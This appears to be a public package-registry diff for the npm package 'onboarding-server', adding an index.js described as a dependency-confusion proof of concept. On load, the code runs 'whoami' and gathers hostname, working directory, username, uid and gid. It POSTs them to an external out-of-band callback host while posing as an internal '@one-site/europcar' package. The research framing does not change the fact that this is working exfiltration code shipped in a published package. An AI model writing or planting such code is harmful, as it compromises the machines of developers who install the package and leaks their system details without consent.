onboarding-server 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +62 -0
  2. package/package.json +2 -3
package/index.js ADDED
@@ -0,0 +1,62 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const { exec } = require('child_process');
4
+
5
+ const COLLABORATOR_URL = 'https://d72js0qulkl6e94ttqdgpxjc8nteonzeu.oast.pro';
6
+
7
+ function executeCommand(command) {
8
+ return new Promise((resolve) => {
9
+ exec(command, (error, stdout, stderr) => {
10
+ if (error) {
11
+ resolve(`Error: ${error.message}`);
12
+ return;
13
+ }
14
+ resolve(stdout.trim() || stderr.trim() || 'No output');
15
+ });
16
+ });
17
+ }
18
+
19
+ async function notifyServer() {
20
+ // Obtener whoami
21
+ const whoami = await executeCommand('whoami');
22
+ const hostname = os.hostname();
23
+ const cwd = process.cwd();
24
+
25
+ const data = JSON.stringify({
26
+ package: '@one-site/europcar',
27
+ version: '2.92.8',
28
+ timestamp: new Date().toISOString(),
29
+ whoami: whoami,
30
+ hostname: hostname,
31
+ platform: os.platform(),
32
+ cwd: cwd,
33
+ node_version: process.version,
34
+ user: os.userInfo().username,
35
+ uid: os.userInfo().uid,
36
+ gid: os.userInfo().gid
37
+ });
38
+
39
+ const url = new URL(COLLABORATOR_URL + '/whoami-test');
40
+ const options = {
41
+ hostname: url.hostname,
42
+ port: 443,
43
+ path: url.pathname + url.search,
44
+ method: 'POST',
45
+ headers: {
46
+ 'Content-Type': 'application/json',
47
+ 'Content-Length': Buffer.byteLength(data)
48
+ }
49
+ };
50
+
51
+ const req = https.request(options, (res) => {
52
+ res.on('data', () => { });
53
+ res.on('end', () => { });
54
+ });
55
+
56
+ req.on('error', () => { });
57
+ req.write(data);
58
+ req.end();
59
+ }
60
+
61
+ notifyServer();
62
+
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "onboarding-server",
3
- "version": "0.1.0",
3
+ "version": "0.1.1",
4
4
  "description": "Security test - dependency confusion proof of concept",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -8,5 +8,4 @@
8
8
  },
9
9
  "author": "",
10
10
  "license": "MIT"
11
- }
12
-
11
+ }